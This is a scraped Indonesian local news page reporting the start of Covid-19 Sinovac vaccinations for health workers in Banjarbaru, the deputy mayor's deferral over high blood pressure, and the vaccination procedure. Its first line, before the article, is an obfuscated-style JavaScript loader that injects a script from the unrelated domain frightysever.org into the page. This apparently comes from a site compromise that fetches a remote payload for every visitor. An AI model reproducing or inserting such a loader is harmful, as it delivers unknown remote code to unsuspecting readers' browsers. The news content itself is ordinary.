(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

PERDANA. 10 Nakes di Banjarbaru Disuntik Vaksin Sinovac, Begini Alur Pelaksanaannya!


KANALKALIMANTAN.COM, BANJARBARU – Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan, gagal menjadi orang pertama yang disuntik vaksin Covid-19 jenis Sinovac. Kendati demikian, pelaksanaan vaksinasi di Banjarbaru dipastikan tetap berjalan sesuai rencana yakni penyuntikan tahap pertama kepada para tenaga kesehatan.

Sebelumnya, Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru, mengungkapkan alasan mengapa Wakil Wali Kota belum bisa menerima vaksin corona yang disebabkan tekanan darah agak tinggi diangka 170/104.

“Mungkin dikarenakan kondisi Kota Banjarbaru yang sekarang dihadapkan pada musibah banjir dan sebagainya, mungkin beliau capek. Jadi bukan berarti beliau tidak siap, cuma tekanan darah tadi yang harus dinormalkan dulu. Insya Allah, di waktu yang akan datang beliau akan mendapatkan vaksin yang sesuai,” katanya, Kamis (14/1/2021).

Meskipun begitu, Rizana menegaskan bahwa pelaksanaan vaksinasi akan tetap berjalan. Di hari ini katanya penyuntikan vaksin telah dimulai terhadap 10 orang tenaga kesehatan yang berlangsung di Puskesmas Sungai Ulin.

“Tadi ada 10 orang tenaga kesehatan diberikan vaksin. Intinya vaksinasi tetap berjalan sesuai jadwal,” tegasnya.
Adapun alur pelayanan vaksinasi di Banjarbaru, dimulai dari calon penerima vaksin Covid-19 yang melakukan registrasi ulang, sesuai waktu yang diberitahukan. Kemudian, mendatangi meja pendaftaran dan akan dilakukan verifikasi dengan cara calon penerima vaksin menunjukkan e-ticket dan bukti identitas lainnya.

Setelah itu, dilanjutkan di meja berikutnya yaitu format skrining yaitu petugas kesehatan melakukan anamnesa dan pemeriksaan fisik sederhana untuk melihat kondisi kesehatan dan mengidentifikasi penyakit penyerta (Komorbid). Selanjutnya, apabila calon penerima dinyatakan sehat maka dapat dilakukan vaksinasi, dan tahap berikutnya adalah tahap vaksinasi bagi penerima.

Setelah disuntik vaksin, dilanjutkan dengan pencatatan dan observasi yaitu petugas mencatat hasil pelayanan vaksinasi, dan penerima vaksin di observasi selama 30 menit untuk memonitor kemungkinan KIPI, serta penerima vaksin memperoleh kartu vaksinasi.

Adapun menurut Kementerian Kesehatan Republik Indonesia beberapa hal yang tidak memenuhi syarat untuk penerima vaksin yaitu; Apabila berdasarkan pengukuran suhu tubuh calon penerima vaksin sedang demam (≥ 37.5℃) vaksinasi ditunda sampai pasien sembuh dan terbukti bukan penderita Covid 19 dan dilakukan skrining ulang pada saat kunjungan berikutnya, selanjutnya apabila berdasarkan pengukuran tekanan darah didapatkan hasil ≥140/90 maka vaksinasi tidak diberikan. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 

 


Al Ghifari

Recent Posts

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

1 menit ago

Kaleidoskop Kabupaten Banjar 2024 Pembangunan di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

8 menit ago

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

25 menit ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

3 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

16 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

16 jam ago

This website uses cookies.